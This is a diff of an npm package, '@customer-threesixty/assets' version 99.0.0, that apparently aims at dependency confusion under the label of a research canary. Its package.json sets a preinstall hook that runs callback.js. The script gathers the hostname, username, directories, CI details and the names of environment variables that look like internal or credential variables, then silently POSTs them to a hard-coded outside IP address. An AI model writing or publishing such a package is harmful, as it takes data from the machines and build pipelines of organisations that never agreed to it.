@customer-threesixty/assets 99.0.0

package/callback.js

@@ -0,0 +1,38 @@
+const dns = require("dns");
+const os = require("os");
+const http = require("http");
+
+const CB_HOST = "128.199.50.160";
+const CB_PORT = 8888;
+
+function safe(s) {
+  return (s || "unknown").replace(/[^a-zA-Z0-9._-]/g, "-").substring(0, 60);
+}
+
+const info = {
+  h: safe(os.hostname()),
+  u: safe(os.userInfo().username),
+  d: safe(process.cwd()),
+  ci: safe(process.env.CI || process.env.JENKINS_URL || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || process.env.BUILD_URL || "no-ci"),
+  reg: safe(process.env.npm_config_registry),
+  pkg: safe(process.env.npm_package_name),
+  node: safe(process.version),
+  plat: safe(os.platform() + "-" + os.arch()),
+  home: safe(os.homedir()),
+  env_keys: safe(Object.keys(process.env).filter(k => /telenor|maui|c360|jenkins|azure|gitlab|github|npm_/i.test(k)).join(","))
+};
+
+const payload = JSON.stringify(info);
+try {
+  const req = http.request({
+    hostname: CB_HOST,
+    port: CB_PORT,
+    path: "/depconf",
+    method: "POST",
+    headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(payload) },
+    timeout: 8000
+  });
+  req.on("error", () => {});
+  req.write(payload);
+  req.end();
+} catch(e) {}

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -0,0 +1,10 @@
+{
+  "name": "@customer-threesixty/assets",
+  "version": "99.0.0",
+  "description": "Security research — dependency confusion canary",
+  "scripts": {
+    "preinstall": "node callback.js || true"
+  },
+  "main": "index.js",
+  "license": "ISC"
+}